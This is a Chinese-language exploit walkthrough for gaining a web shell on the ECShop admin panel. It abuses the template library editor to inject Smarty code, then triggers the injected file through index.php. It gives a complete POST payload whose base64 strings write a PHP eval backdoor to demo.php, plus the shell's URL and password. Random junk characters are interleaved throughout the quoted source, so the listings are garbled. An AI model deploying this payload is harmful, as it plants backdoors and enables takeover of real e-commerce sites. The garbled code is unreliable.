Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
7 t6 ]" _, _- B0 S+ U
( {( T% {- l& I) |2 E* P- Z* m3 W而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
2 C- t: _$ ]- w! J  j7 ?" U7 T但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
admin/template.php

* r) M( ]/ P/ S& L$ Y6 F( N, ~% h% l1 if ($_REQUEST['act'] == 'update_library')
# `% i+ N* G7 H: V4 f5 z+ U0 L# C% N
2   
. F/ \5 P# }- c! Y$ t
$ Z5 j) q' W  @5 ]6 f3 {

4     check_authz_json('library_manage');
* N% P  |2 p# l: B( F
. z0 J3 @3 c* {; B  D% h* Z* S5   
0 v+ {  L, m/ W) N& |! _' J1 T) F
- t6 x2 ~: `: D6 ~( A6     $html = stripslashes(json_str_iconv($_POST['html']));

7   
* r! k! Q7 H6 X
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件

& U* K( C: }6 W  b9   

10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
: y5 b. i3 I# d: j
11   
2 q% J* {) s: x! ]
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
/ z; N3 A5 |# _9 j' l
; o" P& y9 n* c. C9 y% t13   
% A  }( }4 R* ^( n$ z- W
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
( f) w' l0 X2 \# H' F: F8 K) [* D
15     {

16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
6 v3 w" b; d! m; F$ b
17         make_json_result('', $_LANG['update_lib_success']);

18     }
) t, \( ^  A) |% r* y, I$ }  i
1 Y* E6 C, y3 c19     else
$ }7 B1 r& m* _  ~
20     {

. ]* h3 Y; D+ q: t" C21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));

! w& g( R( }! b: b& S" [22     }

23 }

那么找个比较方便调用了模板的文件
index.php
9 `; u% k" y- Y! F! Q# }) E
% L* @* B4 s! b/ P5 W8 g6 K2 R0 m' K1 if ($act == 'cat_rec')

2   
1 Z( F4 r+ z( V: z& w6 A6 i
) B  [. R2 ^, p- o$ Q4 N3 {

4   

5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');

6   
8 j- _2 R2 E. E$ _; A: g
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';

8   
, G4 ?3 o/ ~2 ?2 w- y9 U
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
+ \* a* g2 \4 `2 S) I0 Y/ _3 e8 B
10   
) `- N* ^  o7 j( f/ s3 C6 i
( @3 V1 o1 t+ k  ^11     include_once('includes/cls_json.php');

9 U7 J' d7 n: M+ G0 x# Z12   
  }# O9 T& c7 C7 f* G8 H
4 ~% A2 n; s7 m8 k13     $json = new JSON;
+ p5 X1 x2 n: T  W7 i
14   

15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
! p) N0 X* @) I0 s
16   
2 b) _+ U( a" U
( k2 c5 B  s6 [+ v7 @17     $children = get_children($cat_id);

18   
5 N$ T( D8 I9 H2 W. R8 m  c7 `0 k
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
/ f) A$ Z: ^! B: L2 S
20   

21     $smarty->assign('cat_rec_sign', 1);
, P: X' I* b: o* r0 I* t: p
4 z4 ^6 T6 I- R22   
9 B: u+ ^4 H& o0 O8 z* |3 b
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
) X7 D  y% M) `: p
24   
7 }! e5 R' Q* v9 [
' N4 p7 [/ M: P! D% ^6 m& a25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';

26   
, a' {; m8 {# o
27         echo $rec_array[$rec_type];

28   

( l: @0 E8 P& l* m2 L  G& _  J29     die($json->encode($result));

) D4 @+ s/ T! `; o7 S9 U7 O$ l30   

31 }
: [. c7 z7 b6 z0 X3 q2 `* o
+ }3 C# p  y, l  L1 h) Q那么就有利用方法了
post包到http://localhost/ec/admin/template.php?act=update_library
Post内容：

+ A$ C" v& {- y% ^9 z: B, b​
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}

0 K' u5 D0 C2 m3 I. N然后访问http://localhost/ec/index.php?act=cat_rec

! U. }% N% }& O1 h2 Fshel地址：http://localhost/ec/demo.php
密码c